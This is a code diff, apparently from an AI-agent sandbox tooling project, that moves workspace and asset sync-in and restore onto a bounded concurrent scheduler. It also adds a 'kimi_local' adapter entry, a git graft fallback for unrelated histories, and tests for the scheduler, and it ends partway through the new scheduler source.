+            files,
+            postUploadCommands: [{ command: postUploadCommand }],
+            sourceRoots: [tempDir],
+            targetRoots: [runtimeRootDir],
+            progressLabel: asset.key,
+            statusPhase: "config_sync",
+            progressBytes: assetTarSize,
+          });
+        }),
+      );
     }
 
     // Stage each referenced (additional) project as a plain, read-only tree in
@@ -1023,46 +1112,83 @@ export async function prepareSandboxManagedRuntime(input: {
     // project's confinement or sync failure logs a warning and is skipped, and
     // the run plus the other projects continue. Only a project that stages
     // successfully appears in `additionalSourceDirs`.
-    for (const source of input.additionalSources ?? []) {
-      const { localPath, projectId } = source;
-      const label = `project-${projectId}`;
-      try {
-        if (!path.posix.isAbsolute(localPath)) {
-          throw new Error(`additional source localPath is not an absolute path: ${localPath}`);
-        }
-        if (
-          projectId.length === 0 ||
-          projectId.includes("/") ||
-          projectId.includes("\\") ||
-          projectId.includes("..")
-        ) {
-          throw new Error(`additional source projectId is not a simple path segment: ${projectId}`);
-        }
-        const remoteProjectDir = path.posix.join(runtimeRootDir, label);
-        await emitRuntimeStatus(input.onRuntimeProgress, "config_sync", "Syncing referenced project to sandbox");
-        await stageConfinedSyncIn({
-          files: [{
-            sourcePath: localPath,
-            targetPath: remoteProjectDir,
-            kind: "directory",
-            exclude: additionalSourceExclude,
-            access: "ro",
-          }],
-          sourceRoots: [localPath],
-          targetRoots: [remoteProjectDir],
-          progressLabel: label,
-          statusPhase: "config_sync",
-          progressBytes: 0,
-        });
-        additionalSourceDirs[projectId] = remoteProjectDir;
-      } catch (error) {
-        const message = error instanceof Error ? error.message : String(error);
-        console.warn(
-          `[paperclip] Failed to stage referenced project ${projectId}; skipping it. ${message}`,
-        );
-        // Record the failure as a first-class per-project outcome so the run can count it in the
-        // requested-vs-synced accounting instead of losing it to a warning line.
-        additionalSourceFailures.push({ projectId, error: message });
+    const additionalSourceList = input.additionalSources ?? [];
+    // Record each referenced-project failure in its input-order slot. Slot order
+    // keeps the failure list stable no matter the task completion order under
+    // concurrency.
+    const additionalFailureSlots: Array<AdditionalSourceStagingFailure | null> =
+      additionalSourceList.map(() => null);
+    additionalSourceList.forEach((source, sourceIndex) => {
+      inboundTaskIsRequired.push(false);
+      inboundTasks.push(() =>
+        runStepSpan(`stage.project.${source.projectId}`, async () => {
+          const { localPath, projectId } = source;
+          const label = `project-${projectId}`;
+          try {
+            if (!path.posix.isAbsolute(localPath)) {
+              throw new Error(`additional source localPath is not an absolute path: ${localPath}`);
+            }
+            if (
+              projectId.length === 0 ||
+              projectId.includes("/") ||
+              projectId.includes("\\") ||
+              projectId.includes("..")
+            ) {
+              throw new Error(`additional source projectId is not a simple path segment: ${projectId}`);
+            }
+            const remoteProjectDir = path.posix.join(runtimeRootDir, label);
+            await emitRuntimeStatus(input.onRuntimeProgress, "config_sync", "Syncing referenced project to environment");
+            await stageConfinedSyncIn({
+              files: [{
+                sourcePath: localPath,
+                targetPath: remoteProjectDir,
+                kind: "directory",
+                exclude: additionalSourceExclude,
+                access: "ro",
+              }],
+              sourceRoots: [localPath],
+              targetRoots: [remoteProjectDir],
+              progressLabel: label,
+              statusPhase: "config_sync",
+              progressBytes: 0,
+            });
+            additionalSourceDirs[projectId] = remoteProjectDir;
+          } catch (error) {
+            const message = error instanceof Error ? error.message : String(error);
+            // Record the failure as a first-class per-project outcome so the run can count it in the
+            // requested-vs-synced accounting and surface the reason on the run result and the run log.
+            // The structured slot carries the reason, so no `console.warn` line is needed here.
+            additionalFailureSlots[sourceIndex] = { projectId, error: message };
+          }
+        }),
+      );
+    });
+
+    // Run every inbound operation through the shared scheduler. It starts the
+    // tasks under the client's concurrency permission and the bound, and it
+    // settles every started task before it returns. This is the startup barrier:
+    // the coordinator returns only after every upload settles.
+    const inboundResults = await scheduleSyncOperations(
+      inboundTasks,
+      input.client.allowConcurrentSyncOperations === true,
+      SYNC_OPERATION_CONCURRENCY_LIMIT,
+    );
+
+    // Collect the referenced-project failures in stable input order.
+    for (const failure of additionalFailureSlots) {
+      if (failure) {
+        additionalSourceFailures.push(failure);
+      }
+    }
+
+    // Select a fatal failure in stable operation order. The workspace comes first,
+    // then each asset. A referenced-project task never rejects, so a nonfatal
+    // outcome never appears here. Raise the first required rejection, so two
+    // required failures raise the earlier one.
+    for (let index = 0; index < inboundResults.length; index += 1) {
+      const result = inboundResults[index];
+      if (inboundTaskIsRequired[index] && result.status === "rejected") {
+        throw result.reason;
       }
     }
   });
@@ -1081,182 +1207,252 @@ export async function prepareSandboxManagedRuntime(input: {
     additionalSourceFailures,
     restoreWorkspace: async (onProgress?: RuntimeProgressSink) => {
       const restoreSink = onProgress ?? input.onProgress;
-      if (!syncWorkspace) {
-        for (const asset of input.assets ?? []) {
-          if (!asset.restore) continue;
-          await asset.restore({
-            assetDir: path.posix.join(runtimeRootDir, asset.key),
-            readFile: async (remotePath) => toBuffer(await input.client.readFile(remotePath)),
-          });
-        }
-        return;
-      }
-      await withTempDir("paperclip-sandbox-restore-", async (tempDir) => {
-        let importedRef: string | null = null;
-        let importedHead: string | null = null;
-        let remoteWorkspaceStatus = "dirty";
-        try {
-          if (gitSnapshot) {
-            await emitRuntimeStatus(input.onRuntimeProgress, "export", "Exporting git changes from sandbox");
-            importedRef = createImportedGitRef("sandbox");
-            const remoteGitBundle = path.posix.join(runtimeRootDir, "git-delta.bundle");
-            const remoteWorkspaceStatusPath = path.posix.join(runtimeRootDir, "workspace-status.txt");
-            const exportRef = createRemoteGitExportRef("sandbox");
-            const localBundlePath = path.join(tempDir, "git-delta.bundle");
 
-            // Export the sandbox history and import it into the host workspace.
-            // The delta bundle assumes the host holds the bundle's boundary
-            // commit; when the host has been reset far enough that it does not,
-            // the import fails on a missing prerequisite. In that case re-export
-            // a full, self-contained bundle from the still-live sandbox rather
-            // than discard the completed run.
-            const exportAndImport = async (forceFullBundle: boolean): Promise<string> => {
-              await input.client.run(
-                `sh -c ${shellQuote(buildRemoteGitDeltaBundleScript({
-                  remoteDir: workspaceRemoteDir,
-                  baseSha: gitSnapshot.headCommit,
-                  exportRef,
-                  bundlePath: remoteGitBundle,
-                  statusPath: forceFullBundle ? undefined : remoteWorkspaceStatusPath,
-                  forceFullBundle,
-                }))}`,
-                { timeoutMs: input.spec.timeoutMs },
-              );
-              const gitExport = makeTransferProgress(
-                restoreSink,
-                "Exporting git history",
-                "from",
-                undefined,
-                { sink: input.onRuntimeProgress, phase: "export" },
-              );
-              const bundleBytes = await input.client.readFile(remoteGitBundle, gitExport.options);
-              const bundleBuffer = toBuffer(bundleBytes);
-              await gitExport.finish(bundleBuffer.byteLength, bundleBuffer.byteLength);
-              await input.client.remove(remoteGitBundle).catch(() => undefined);
-              if (!forceFullBundle) {
-                remoteWorkspaceStatus = await input.client.readFile(remoteWorkspaceStatusPath)
-                  .then((bytes) => toBuffer(bytes).toString("utf8").trim())
-                  .catch(() => "dirty");
-                remoteWorkspaceStatus = remoteWorkspaceStatus === "clean" ? "clean" : "dirty";
-                await input.client.remove(remoteWorkspaceStatusPath).catch(() => undefined);
+      // Build the ordered outbound restore task list. Each task runs one
+      // restore from start to end: the workspace restore, or one asset restore.
+      // The shared scheduler starts the tasks. When the sync client permits
+      // concurrency, the scheduler keeps at most SYNC_OPERATION_CONCURRENCY_LIMIT
+      // tasks active. When the client does not permit concurrency, the scheduler
+      // runs one task at a time in this order. The scheduler settles every
+      // started task before it returns, so lease teardown never starts while an
+      // outbound restore task still writes host data.
+      const outboundTasks: Array<SyncOperationTask<void>> = [];
+
+      // The workspace restore task runs only when the run syncs the workspace.
+      // The task exports the sandbox git history (git-backed workspace), reads
+      // the sandbox workspace back, and merges it into the host workspace root.
+      // The merge is the only outbound write inside the host workspace root.
+      // Every other task writes a disjoint host target: an asset restore writes
+      // its own store outside the workspace root. So the workspace task and the
+      // asset tasks share one parallel set. Keep any future asset that must write
+      // inside the host workspace root out of this set, and run it after the
+      // merge. Each task gets its own restore temp directory, so two concurrent
+      // tasks never share scratch state.
+      if (syncWorkspace) {
+        outboundTasks.push(() =>
+          runStepSpan("restore.workspace", async () => {
+            await withTempDir("paperclip-sandbox-restore-", async (tempDir) => {
+              let importedRef: string | null = null;
+              let importedHead: string | null = null;
+              let remoteWorkspaceStatus = "dirty";
+              try {
+                if (gitSnapshot) {
+                  await emitRuntimeStatus(input.onRuntimeProgress, "export", "Exporting git changes from environment");
+                  importedRef = createImportedGitRef("sandbox");
+                  const remoteGitBundle = path.posix.join(runtimeRootDir, "git-delta.bundle");
+                  const remoteWorkspaceStatusPath = path.posix.join(runtimeRootDir, "workspace-status.txt");
+                  const exportRef = createRemoteGitExportRef("sandbox");
+                  const localBundlePath = path.join(tempDir, "git-delta.bundle");
+
+                  // Export the sandbox history and import it into the host workspace.
+                  // The delta bundle assumes the host holds the bundle's boundary
+                  // commit; when the host has been reset far enough that it does not,
+                  // the import fails on a missing prerequisite. In that case re-export
+                  // a full, self-contained bundle from the still-live sandbox rather
+                  // than discard the completed run.
+                  const exportAndImport = async (forceFullBundle: boolean): Promise<string> => {
+                    await input.client.run(
+                      `sh -c ${shellQuote(buildRemoteGitDeltaBundleScript({
+                        remoteDir: workspaceRemoteDir,
+                        baseSha: gitSnapshot.headCommit,
+                        exportRef,
+                        bundlePath: remoteGitBundle,
+                        statusPath: forceFullBundle ? undefined : remoteWorkspaceStatusPath,
+                        forceFullBundle,
+                      }))}`,
+                      { timeoutMs: input.spec.timeoutMs },
+                    );
+                    const gitExport = makeTransferProgress(
+                      restoreSink,
+                      "Exporting git history",
+                      "from",
+                      undefined,
+                      { sink: input.onRuntimeProgress, phase: "export" },
+                    );
+                    if (nativeSyncOut) {
+                      // Native outbound: the provider copies the bundle straight from
+                      // the sandbox into the host restore temp directory. This maps to
+                      // one `kind: "file"` mapping. The host does not buffer the full
+                      // bundle in RAM and does not move the bytes through the base64
+                      // read loop. The git import step below reads the bundle from
+                      // `localBundlePath`. The provider transfer reports no byte counts,
+                      // so the "Exporting git history" progress degrades to
+                      // start-and-finish only (mirrors the workspace restore below).
+                      const operations: SandboxSyncOperation[] = [{
+                        operationId: nextSyncOperationId(),
+                        files: [{
+                          sourcePath: remoteGitBundle,
+                          targetPath: localBundlePath,
+                          kind: "file",
+                        }],
+                      }];
+                      assertSyncOperationsConfined(operations, {
+                        sourceRoots: [runtimeRootDir],
+                        targetRoots: [tempDir],
+                      });
+                      await input.client.syncOut!(operations);
+                      await gitExport.finish(0, 0);
+                    } else {
+                      const bundleBytes = await input.client.readFile(remoteGitBundle, gitExport.options);
+                      const bundleBuffer = toBuffer(bundleBytes);
+                      await gitExport.finish(bundleBuffer.byteLength, bundleBuffer.byteLength);
+                      await fs.writeFile(localBundlePath, bundleBuffer);
+                    }
+                    await input.client.remove(remoteGitBundle).catch(() => undefined);
+                    if (!forceFullBundle) {
+                      remoteWorkspaceStatus = await input.client.readFile(remoteWorkspaceStatusPath)
+                        .then((bytes) => toBuffer(bytes).toString("utf8").trim())
+                        .catch(() => "dirty");
+                      remoteWorkspaceStatus = remoteWorkspaceStatus === "clean" ? "clean" : "dirty";
+                      await input.client.remove(remoteWorkspaceStatusPath).catch(() => undefined);
+                    }
+                    return fetchGitBundleIntoLocalRef({
+                      localDir: input.workspaceLocalDir,
+                      bundlePath: localBundlePath,
+                      exportRef,
+                      importedRef: importedRef!,
+                      baseSha: gitSnapshot.headCommit,
+                    });
+                  };
+
+                  try {
+                    importedHead = await exportAndImport(false);
+                  } catch (error) {
+                    if (!isMissingGitPrerequisiteError(error)) throw error;
+                    importedHead = await exportAndImport(true);
+                  }
+                }
+
+                await emitRuntimeStatus(input.onRuntimeProgress, "restore", "Restoring workspace from environment");
+                const extractedDir = path.join(tempDir, "workspace");
+                if (nativeSyncOut) {
+                  // Native outbound: the provider materializes the sandbox workspace into
+                  // a fresh host directory. It is a clean destroy-then-replace into a
+                  // temp dir the orchestrator just created, so it maps exactly to a
+                  // generic directory file mapping; the host-side baseline merge below is
+                  // unchanged.
+                  const operations: SandboxSyncOperation[] = [{
+                    operationId: nextSyncOperationId(),
+                    files: [{
+                      sourcePath: workspaceRemoteDir,
+                      targetPath: extractedDir,
+                      kind: "directory",
+                      exclude: restoreExclude,
+                    }],
+                  }];
+                  assertSyncOperationsConfined(operations, {
+                    sourceRoots: [workspaceRemoteDir],
+                    targetRoots: [extractedDir],
+                  });
+                  await fs.mkdir(extractedDir, { recursive: true });
+                  const workspaceRestore = makeTransferProgress(
+                    restoreSink,
+                    "Restoring",
+                    "from",
+                    "workspace",
+                    { sink: input.onRuntimeProgress, phase: "restore" },
+                  );
+                  await input.client.syncOut!(operations);
+                  await workspaceRestore.finish(0, 0);
+                } else {
+                  const remoteWorkspaceTar = path.posix.join(runtimeRootDir, "workspace-download.tar");
+                  await input.client.run(
+                    `sh -c ${shellQuote(createRemoteTarballFromDirectoryCommand({
+                      remoteDir: workspaceRemoteDir,
+                      archivePath: remoteWorkspaceTar,
+                      exclude: restoreExclude,
+                    }))}`,
+                    { timeoutMs: input.spec.timeoutMs },
+                  );
+                  const workspaceRestore = makeTransferProgress(
+                    restoreSink,
+                    "Restoring",
+                    "from",
+                    "workspace",
+                    { sink: input.onRuntimeProgress, phase: "restore" },
+                  );
+                  const archiveBytes = await input.client.readFile(remoteWorkspaceTar, workspaceRestore.options);
+                  const archiveBuffer = toBuffer(archiveBytes);
+                  await workspaceRestore.finish(archiveBuffer.byteLength, archiveBuffer.byteLength);
+                  await input.client.remove(remoteWorkspaceTar).catch(() => undefined);
+                  const localArchivePath = path.join(tempDir, "workspace.tar");
+                  await fs.writeFile(localArchivePath, archiveBuffer);
+                  await extractTarballToDirectory({
+                    archivePath: localArchivePath,
+                    localDir: extractedDir,
+                  });
+                }
+                const gitHeadToIntegrate = importedHead;
+                await mergeDirectoryWithBaseline({
+                  baseline: baselineSnapshot!,
+                  sourceDir: extractedDir,
+                  targetDir: input.workspaceLocalDir,
+                  beforeApply: gitHeadToIntegrate
+                    ? async () => {
+                        await integrateImportedGitHead({
+                          localDir: input.workspaceLocalDir,
+                          importedHead: gitHeadToIntegrate,
+                        });
+                      }
+                    : undefined,
+                  afterApply: gitSnapshot
+                    ? async () => {
+                        await resetLocalGitIndexToHead({
+                          localDir: input.workspaceLocalDir,
+                          checkWorkingTreeClean: remoteWorkspaceStatus === "clean",
+                        });
+                      }
+                    : undefined,
+                });
+              } finally {
+                await emitRuntimeStatus(input.onRuntimeProgress, "finalize", "Finalizing workspace");
+                if (importedRef) {
+                  await deleteLocalGitRef({ localDir: input.workspaceLocalDir, ref: importedRef });
+                }
               }
-              await fs.writeFile(localBundlePath, bundleBuffer);
-              return fetchGitBundleIntoLocalRef({
-                localDir: input.workspaceLocalDir,
-                bundlePath: localBundlePath,
-                exportRef,
-                importedRef: importedRef!,
-                baseSha: gitSnapshot.headCommit,
+            });
+          }),
+        );
+      }
+
+      // One restore task per asset that has a teardown contribution. Each task
+      // reads its asset back through `readFile` and writes a disjoint host
+      // target. Each task gets its own restore temp directory.
+      for (const asset of input.assets ?? []) {
+        if (!asset.restore) continue;
+        const assetRestore = asset.restore;
+        const assetKey = asset.key;
+        outboundTasks.push(() =>
+          runStepSpan(`restore.asset.${assetKey}`, async () => {
+            await withTempDir("paperclip-sandbox-restore-", async (tempDir) => {
+              await assetRestore({
+                assetDir: path.posix.join(runtimeRootDir, assetKey),
+                readFile: async (remotePath) => toBuffer(await input.client.readFile(remotePath)),
+                tempDir,
               });
-            };
-
-            try {
-              importedHead = await exportAndImport(false);
-            } catch (error) {
-              if (!isMissingGitPrerequisiteError(error)) throw error;
-              importedHead = await exportAndImport(true);
-            }
-          }
-
-          await emitRuntimeStatus(input.onRuntimeProgress, "restore", "Restoring workspace from sandbox");
-          const extractedDir = path.join(tempDir, "workspace");
-          if (nativeSyncOut) {
-            // Native outbound: the provider materializes the sandbox workspace into
-            // a fresh host directory. It is a clean destroy-then-replace into a
-            // temp dir the orchestrator just created, so it maps exactly to a
-            // generic directory file mapping; the host-side baseline merge below is
-            // unchanged.
-            const operations: SandboxSyncOperation[] = [{
-              operationId: nextSyncOperationId(),
-              files: [{
-                sourcePath: workspaceRemoteDir,
-                targetPath: extractedDir,
-                kind: "directory",
-                exclude: restoreExclude,
-              }],
-            }];
-            assertSyncOperationsConfined(operations, {
-              sourceRoots: [workspaceRemoteDir],
-              targetRoots: [extractedDir],
             });
-            await fs.mkdir(extractedDir, { recursive: true });
-            const workspaceRestore = makeTransferProgress(
-              restoreSink,
-              "Restoring",
-              "from",
-              "workspace",
-              { sink: input.onRuntimeProgress, phase: "restore" },
-            );
-            await input.client.syncOut!(operations);
-            await workspaceRestore.finish(0, 0);
-          } else {
-            const remoteWorkspaceTar = path.posix.join(runtimeRootDir, "workspace-download.tar");
-            await input.client.run(
-              `sh -c ${shellQuote(createRemoteTarballFromDirectoryCommand({
-                remoteDir: workspaceRemoteDir,
-                archivePath: remoteWorkspaceTar,
-                exclude: restoreExclude,
-              }))}`,
-              { timeoutMs: input.spec.timeoutMs },
-            );
-            const workspaceRestore = makeTransferProgress(
-              restoreSink,
-              "Restoring",
-              "from",
-              "workspace",
-              { sink: input.onRuntimeProgress, phase: "restore" },
-            );
-            const archiveBytes = await input.client.readFile(remoteWorkspaceTar, workspaceRestore.options);
-            const archiveBuffer = toBuffer(archiveBytes);
-            await workspaceRestore.finish(archiveBuffer.byteLength, archiveBuffer.byteLength);
-            await input.client.remove(remoteWorkspaceTar).catch(() => undefined);
-            const localArchivePath = path.join(tempDir, "workspace.tar");
-            await fs.writeFile(localArchivePath, archiveBuffer);
-            await extractTarballToDirectory({
-              archivePath: localArchivePath,
-              localDir: extractedDir,
-            });
-          }
-          const gitHeadToIntegrate = importedHead;
-          await mergeDirectoryWithBaseline({
-            baseline: baselineSnapshot!,
-            sourceDir: extractedDir,
-            targetDir: input.workspaceLocalDir,
-            beforeApply: gitHeadToIntegrate
-              ? async () => {
-                  await integrateImportedGitHead({
-                    localDir: input.workspaceLocalDir,
-                    importedHead: gitHeadToIntegrate,
-                  });
-                }
-              : undefined,
-            afterApply: gitSnapshot
-              ? async () => {
-                  await resetLocalGitIndexToHead({
-                    localDir: input.workspaceLocalDir,
-                    checkWorkingTreeClean: remoteWorkspaceStatus === "clean",
-                  });
-                }
-              : undefined,
-          });
+          }),
+        );
+      }
 
-          // Per-asset teardown/outbound contributions. Generic: an asset with
-          // no `restore` is a no-op. The contribution reads back from the
-          // sandbox (e.g. a refreshed credential) via the provided `readFile`.
-          for (const asset of input.assets ?? []) {
-            if (!asset.restore) continue;
-            await asset.restore({
-              assetDir: path.posix.join(runtimeRootDir, asset.key),
-              readFile: async (remotePath) => toBuffer(await input.client.readFile(remotePath)),
-            });
-          }
-        } finally {
-          await emitRuntimeStatus(input.onRuntimeProgress, "finalize", "Finalizing sandbox workspace");
-          if (importedRef) {
-            await deleteLocalGitRef({ localDir: input.workspaceLocalDir, ref: importedRef });
-          }
+      // Run every outbound restore through the shared scheduler. It starts the
+      // tasks under the client concurrency permission and the bound, and it
+      // settles every started task before it returns. This is the teardown
+      // barrier.
+      const outboundResults = await scheduleSyncOperations(
+        outboundTasks,
+        input.client.allowConcurrentSyncOperations === true,
+        SYNC_OPERATION_CONCURRENCY_LIMIT,
+      );
+
+      // Every outbound restore is a required operation: a rejection is fatal.
+      // The workspace comes first, then each asset in order. Raise the first
+      // rejection in stable task order, so two failures raise the earlier one.
+      for (const result of outboundResults) {
+        if (result.status === "rejected") {
+          throw result.reason;
         }
-      });
+      }
     },
   };
 }
diff --git a/packages/adapter-utils/src/session-compaction.ts b/packages/adapter-utils/src/session-compaction.ts
index 1e7dd6ac472..3764155c406 100644
--- a/packages/adapter-utils/src/session-compaction.ts
+++ b/packages/adapter-utils/src/session-compaction.ts
@@ -43,6 +43,7 @@ export const LEGACY_SESSIONED_ADAPTER_TYPES = new Set([
   "cursor",
   "gemini_local",
   "hermes_local",
+  "kimi_local",
   "opencode_local",
   "pi_local",
 ]);
@@ -73,6 +74,11 @@ export const ADAPTER_SESSION_MANAGEMENT: Record<string, AdapterSessionManagement
     nativeContextManagement: "unknown",
     defaultSessionCompaction: DEFAULT_SESSION_COMPACTION_POLICY,
   },
+  kimi_local: {
+    supportsSessionResume: true,
+    nativeContextManagement: "unknown",
+    defaultSessionCompaction: DEFAULT_SESSION_COMPACTION_POLICY,
+  },
   opencode_local: {
     supportsSessionResume: true,
     nativeContextManagement: "unknown",
diff --git a/packages/adapter-utils/src/ssh.ts b/packages/adapter-utils/src/ssh.ts
index de86cdb678a..301d85cf585 100644
--- a/packages/adapter-utils/src/ssh.ts
+++ b/packages/adapter-utils/src/ssh.ts
@@ -6,7 +6,11 @@ import os from "node:os";
 import path from "node:path";
 import { Transform } from "node:stream";
 import type { CommandManagedRuntimeRunner } from "./command-managed-runtime.js";
-import { readSanitizedOriginRemoteUrl } from "./git-workspace-sync.js";
+import {
+  createUnrelatedHistoryGraftCommit,
+  GIT_SYNC_COMMIT_IDENTITY_ARGS,
+  readSanitizedOriginRemoteUrl,
+} from "./git-workspace-sync.js";
 import type { RunProcessResult } from "./server-utils.js";
 import type { DirectorySnapshot } from "./workspace-restore-merge.js";
 import { mergeDirectoryWithBaseline } from "./workspace-restore-merge.js";
@@ -931,10 +935,18 @@ async function integrateImportedGitHead(input: {
     if (!currentHead || currentHead === input.importedHead) return;
 
     const headRef = snapshot.branchName ? `refs/heads/${snapshot.branchName}` : "HEAD";
+    // `git merge-base` exits 1 when the commits share no ancestor — the only
+    // outcome that authorizes the graft fallback below. Every other failure
+    // (timeout, missing object, repository error) must keep failing the
+    // integration instead of silently rewriting the tip.
+    let noCommonAncestor = false;
     const mergeBase = await runLocalGit(input.localDir, ["merge-base", currentHead, input.importedHead], {
       timeout: 10_000,
       maxBuffer: 16 * 1024,
-    }).catch(() => null);
+    }).catch((error: unknown) => {
+      noCommonAncestor = (error as { code?: unknown } | null)?.code === 1;
+      return null;
+    });
     const mergeBaseHead = mergeBase?.stdout.trim() ?? "";
 
     if (mergeBaseHead === input.importedHead) {
@@ -954,6 +966,28 @@ async function integrateImportedGitHead(input: {
       }
     }
 
+    if (noCommonAncestor) {
+      // No common ancestor — merging is impossible and failing here would
+      // discard the imported work. Graft it onto the current head instead;
+      // see createUnrelatedHistoryGraftCommit.
+      const graftCommit = await createUnrelatedHistoryGraftCommit({
+        localDir: input.localDir,
+        currentHead,
+        importedHead: input.importedHead,
+        syncLabel: "Paperclip SSH sync",
+      });
+      try {
+        await runLocalGit(input.localDir, ["update-ref", headRef, graftCommit, currentHead], {
+          timeout: 10_000,
+          maxBuffer: 16 * 1024,
+        });
+        return;
+      } catch (error) {
+        if (isConcurrentRefUpdateError(error) && attempt < 4) continue;
+        throw error;
+      }
+    }
+
     let mergedTree;
     try {
       mergedTree = await runLocalGit(input.localDir, ["merge-tree", "--write-tree", currentHead, input.importedHead], {
@@ -974,6 +1008,7 @@ async function integrateImportedGitHead(input: {
     const mergeCommit = await runLocalGit(
       input.localDir,
       [
+        ...GIT_SYNC_COMMIT_IDENTITY_ARGS,
         "commit-tree",
         mergedTreeId,
         "-p",
diff --git a/packages/adapter-utils/src/sync-operation-schedule.test.ts b/packages/adapter-utils/src/sync-operation-schedule.test.ts
new file mode 100644
index 00000000000..edcfb5ae3df
--- /dev/null
+++ b/packages/adapter-utils/src/sync-operation-schedule.test.ts
@@ -0,0 +1,166 @@
+import { describe, expect, it } from "vitest";
+import {
+  SYNC_OPERATION_CONCURRENCY_LIMIT,
+  scheduleSyncOperations,
+} from "./sync-operation-schedule.js";
+
+// A deferred task fake. The `task` thunk records that it started and returns a
+// promise that the test resolves or rejects by hand. The fake lets a test hold
+// a task open and check the exact moment a later task starts.
+interface DeferredTask<T> {
+  readonly task: () => Promise<T>;
+  resolve(value: T): void;
+  reject(reason: unknown): void;
+  started(): boolean;
+}
+
+function makeDeferred<T>(): DeferredTask<T> {
+  let started = false;
+  let resolveFn!: (value: T) => void;
+  let rejectFn!: (reason: unknown) => void;
+  const promise = new Promise<T>((resolve, reject) => {
+    resolveFn = resolve;
+    rejectFn = reject;
+  });
+  return {
+    task: () => {
+      started = true;
+      return promise;
+    },
+    resolve: (value: T) => resolveFn(value),
+    reject: (reason: unknown) => rejectFn(reason),
+    started: () => started,
+  };
+}
+
+// Drain the microtask and timer queues so every pending worker step runs.
+function flush(): Promise<void> {
+  return new Promise((resolve) => setTimeout(resolve, 0));
+}
+
+describe("scheduleSyncOperations", () => {
+  it("exposes the shared bound constant as 4", () => {
+    expect(SYNC_OPERATION_CONCURRENCY_LIMIT).toBe(4);
+  });
+
+  it("keeps at most `bound` tasks active in concurrent mode", async () => {
+    const deferreds = [makeDeferred<number>(), makeDeferred<number>(), makeDeferred<number>()];
+    const tasks = deferreds.map((deferred) => deferred.task);
+
+    const scheduled = scheduleSyncOperations(tasks, true, 2);
+    await flush();
+
+    // The bound is 2, so only the first two tasks start.
+    expect(deferreds[0].started()).toBe(true);
+    expect(deferreds[1].started()).toBe(true);
+    expect(deferreds[2].started()).toBe(false);
+
+    // One active task settles. A worker frees, so the third task starts.
+    deferreds[0].resolve(0);
+    await flush();
+    expect(deferreds[2].started()).toBe(true);
+
+    deferreds[1].resolve(1);
+    deferreds[2].resolve(2);
+    const results = await scheduled;
+    expect(results).toEqual([
+      { status: "fulfilled", value: 0 },
+      { status: "fulfilled", value: 1 },
+      { status: "fulfilled", value: 2 },
+    ]);
+  });
+
+  it("runs one task at a time in input order in serial mode", async () => {
+    const deferreds = [makeDeferred<number>(), makeDeferred<number>(), makeDeferred<number>()];
+    const tasks = deferreds.map((deferred) => deferred.task);
+
+    const scheduled = scheduleSyncOperations(tasks, false);
+    await flush();
+
+    // Serial mode holds one task active, so only the first task starts.
+    expect(deferreds[0].started()).toBe(true);
+    expect(deferreds[1].started()).toBe(false);
+    expect(deferreds[2].started()).toBe(false);
+
+    deferreds[0].resolve(0);
+    await flush();
+    // The next task starts only after the previous task settles.
+    expect(deferreds[1].started()).toBe(true);
+    expect(deferreds[2].started()).toBe(false);
+
+    deferreds[1].resolve(1);
+    await flush();
+    expect(deferreds[2].started()).toBe(true);
+
+    deferreds[2].resolve(2);
+    const results = await scheduled;
+    expect(results).toEqual([
+      { status: "fulfilled", value: 0 },
+      { status: "fulfilled", value: 1 },
+      { status: "fulfilled", value: 2 },
+    ]);
+  });
+
+  it("waits for every started task to settle when one rejects", async () => {
+    const first = makeDeferred<number>();
+    const second = makeDeferred<number>();
+    const tasks = [first.task, second.task];
+
+    const scheduled = scheduleSyncOperations(tasks, true, 2);
+    let settled = false;
+    void scheduled.then(() => {
+      settled = true;
+    });
+    await flush();
+
+    // Both tasks are active under the bound of 2.
+    expect(first.started()).toBe(true);
+    expect(second.started()).toBe(true);
+
+    // The first task rejects, but the second task stays open.
+    first.reject(new Error("first failed"));
+    await flush();
+    // The scheduler does not return before every started task settles.
+    expect(settled).toBe(false);
+
+    second.resolve(2);
+    const results = await scheduled;
+    expect(settled).toBe(true);
+    // The results keep input order, and the rejection carries its reason.
+    expect(results[0]).toEqual({ status: "rejected", reason: new Error("first failed") });
+    expect(results[1]).toEqual({ status: "fulfilled", value: 2 });
+  });
+
+  // One table proves settle-all and input-order for both call modes. Both future
+  // call sites share these proven cases.
+  const MODE_TABLE = [
+    { name: "serial mode", concurrent: false, bound: SYNC_OPERATION_CONCURRENCY_LIMIT },
+    { name: "concurrent mode", concurrent: true, bound: 2 },
+  ];
+
+  for (const mode of MODE_TABLE) {
+    it(`returns settled results in input order in ${mode.name}`, async () => {
+      // The tasks settle out of order: index 2 first, then index 0, then a
+      // rejection at index 1. The result array must still keep input order.
+      const failure = new Error("index one failed");
+      const tasks: Array<() => Promise<string>> = [
+        () => Promise.resolve("zero"),
+        () => Promise.reject(failure),
+        () => Promise.resolve("two"),
+      ];
+
+      const results = await scheduleSyncOperations(tasks, mode.concurrent, mode.bound);
+
+      expect(results).toEqual([
+        { status: "fulfilled", value: "zero" },
+        { status: "rejected", reason: failure },
+        { status: "fulfilled", value: "two" },
+      ]);
+    });
+  }
+
+  it("returns an empty result list for no tasks", async () => {
+    const results = await scheduleSyncOperations<number>([], true, 4);
+    expect(results).toEqual([]);
+  });
+});
diff --git a/packages/adapter-utils/src/sync-operation-schedule.ts b/packages/adapter-utils/src/sync-operation-schedule.ts
new file mode 100644
index 00000000000..7ba65bdbe25
--- /dev/null
+++ b/packages/adapter-utils/src/sync-operation-schedule.ts
@@ -0,0 +1,79 @@
+// A direction-agnostic scheduler for file-sync operations. Both sync directions
+// share this one function. The scheduler starts operation tasks under a bound,
+// keeps serial order when concurrency is off, and settles every started task
+// before it returns. It stays pure: it imports no runtime or provider module.
+
+// The maximum number of active sync operations when concurrency is on. A caller
+// passes this as the bound. Four keeps a useful parallel width without a burst
+// of open file handles.
+export const SYNC_OPERATION_CONCURRENCY_LIMIT = 4;
+
+// A sync operation. The scheduler calls the thunk to start the operation, so the
+// scheduler controls the exact start time and can hold the bound.
+export type SyncOperationTask<T> = () => Promise<T>;
+
+// Resolve the number of active tasks the scheduler allows.
+// Serial mode allows one active task. Concurrent mode allows the bound, with a
+// floor of one so a bad bound never stalls the scheduler.
+function resolveActiveLimit(concurrent: boolean, bound: number): number {
+  if (!concurrent) {
+    return 1;
+  }
+  const flooredBound = Math.floor(bound);
+  if (!Number.isFinite(flooredBound) || flooredBound < 1) {
+    return 1;
+  }
+  return flooredBound;
+}
+
+/**
+ * Run an ordered list of sync operation tasks and settle every started task.
+ *
+ * When `concurrent` is false, the scheduler runs the tasks one at a time in
+ * input order. When `concurrent` is true, the scheduler keeps at most `bound`
+ * tasks active. The scheduler always waits for every started task to settle
+ * before it returns. It returns the settled results in input order.
+ *
